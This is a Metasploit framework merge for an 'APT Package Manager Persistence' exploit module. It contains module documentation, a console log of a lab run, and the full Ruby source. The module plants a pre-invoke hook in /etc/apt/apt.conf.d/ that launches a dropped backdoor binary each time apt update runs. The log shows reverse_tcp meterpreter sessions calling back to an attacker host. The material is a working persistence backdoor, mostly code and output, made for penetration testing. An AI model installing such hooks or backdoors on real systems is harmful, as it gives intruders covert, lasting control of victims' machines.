Land #11665, Add APT persistence module
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## Description
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This module will run a payload when the package manager is used. No
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handler is ran automatically so you must configure an appropriate
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exploit/multi/handler to connect. This module creates a pre-invoke hook
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for APT in apt.conf.d. The hook name syntax is numeric followed by text.
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## Verification Steps
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1. Exploit a box that uses APT
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2. `use linux/local/apt_package_manager_persistence`
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3. `set SESSION <id>`
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4. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed
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5. `exploit`
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When the system runs apt-get update the payload will launch. You must set handler accordingly.
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## Options
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**BACKDOOR_NAME**
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Name of backdoor executable
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**HOOKNAME**
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Name of pre-invoke hook to be installed in /etc/apt/apt.conf.d/. Pre-invoke hook name syntax is numeric followed by text.
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**WritableDir**
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Writable directory for backdoor default is (/usr/local/bin/)
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## Scenarios
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### Tested on Ubuntu 18.04.2 LTS
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```
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msf5 > use exploit/linux/local/apt_package_manager_persistence
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msf5 exploit(linux/local/apt_package_manager_persistence) > handler -p linux/x86/meterpreter/reverse_tcp -H 172.22.222.136 -P 4444
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[*] Payload handler running as background job 0.
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msf5 exploit(linux/local/apt_package_manager_persistence) >
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[*] Started reverse TCP handler on 172.22.222.136:4444
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[*] Sending stage (985320 bytes) to 172.22.222.130
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[*] Meterpreter session 1 opened (172.22.222.136:4444 -> 172.22.222.130:60526) at 2019-04-26 13:04:33 -0500
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msf5 exploit(linux/local/apt_package_manager_persistence) > set session 1
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session => 1
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msf5 exploit(linux/local/apt_package_manager_persistence) > set payload linux/x86/meterpreter/reverse_tcp
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payload => linux/x86/meterpreter/reverse_tcp
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msf5 exploit(linux/local/apt_package_manager_persistence) > set lhost 172.22.222.136
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lhost => 172.22.222.136
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msf5 exploit(linux/local/apt_package_manager_persistence) > set lport 4444
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lport => 4444
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msf5 exploit(linux/local/apt_package_manager_persistence) > exploit
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[*] Attempting to write hook:
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[*] Wrote /etc/apt/apt.conf.d/34bmUIzfd
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[*] Backdoor uploaded /usr/local/bin/dbmqKeh6U9
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[*] Backdoor will run on next APT update
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msf5 exploit(linux/local/apt_package_manager_persistence) >
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[*] Sending stage (985320 bytes) to 172.22.222.130
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[*] Meterpreter session 2 opened (172.22.222.136:4444 -> 172.22.222.130:60528) at 2019-04-26 13:05:17 -0500
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msf5 exploit(linux/local/apt_package_manager_persistence) >
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```
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Note: Second session comes in after running `apt update` on the remote host
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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include Msf::Post::File
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include Msf::Post::Linux::System
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'APT Package Manager Persistence',
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'Description' => %q(
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This module will run a payload when the package manager is used. No
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handler is ran automatically so you must configure an appropriate
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exploit/multi/handler to connect. This module creates a pre-invoke hook
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for APT in apt.conf.d. The hook name syntax is numeric followed by text.
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),
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'License' => MSF_LICENSE,
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'Author' => ['Aaron Ringo'],
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'Platform' => ['linux', 'unix'],
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'Arch' =>
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[
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ARCH_CMD,
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ARCH_X86,
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ARCH_X64,
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ARCH_ARMLE,
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ARCH_AARCH64,
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ARCH_PPC,
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ARCH_MIPSLE,
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ARCH_MIPSBE
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],
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'SessionTypes' => ['shell', 'meterpreter'],
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'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' },
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'DisclosureDate' => '1999-03-09', # Date APT package manager was included in Debian
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'References' => ['URL', 'https://unix.stackexchange.com/questions/204414/how-to-run-a-command-before-download-with-apt-get'],
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'Targets' => [['Automatic', {}]],
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'DefaultTarget' => 0
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))
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register_options(
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[
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OptString.new('HOOKNAME', [false, 'Name of hook file to write']),
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OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write'])
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])
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register_advanced_options(
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[
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OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/'])
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])
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end
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def exploit
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hook_path = '/etc/apt/apt.conf.d/'
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unless writable? hook_path
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fail_with Failure::BadConfig, "#{hook_path} not writable, or APT is not on system"
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end
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hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}")
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backdoor_path = datastore['WritableDir']
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unless writable? backdoor_path
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fail_with Failure::BadConfig, "#{backdoor_path} is not writable"
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end
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backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
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backdoor_path << backdoor_name
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print_status('Attempting to write hook:')
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hook_script = "APT::Update::Pre-Invoke {\"setsid #{backdoor_path} 2>/dev/null &\"};"
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write_file(hook_path, hook_script)
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unless exist? hook_path
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fail_with Failure::Unknown, 'Failed to write Hook'
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end
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print_status("Wrote #{hook_path}")
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if payload.arch.first == 'cmd'
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write_file(backdoor_path, payload.encoded)
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else
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write_file(backdoor_path, generate_payload_exe)
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end
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unless exist? backdoor_path
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fail_with Failure::Unknown, "Failed to write #{backdoor_path}"
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end
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print_status("Backdoor uploaded #{backdoor_path}")
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print_status('Backdoor will run on next APT update')
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# permissions chosen to reflect common perms in /usr/local/bin/
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chmod(backdoor_path, 0755)
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end
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end
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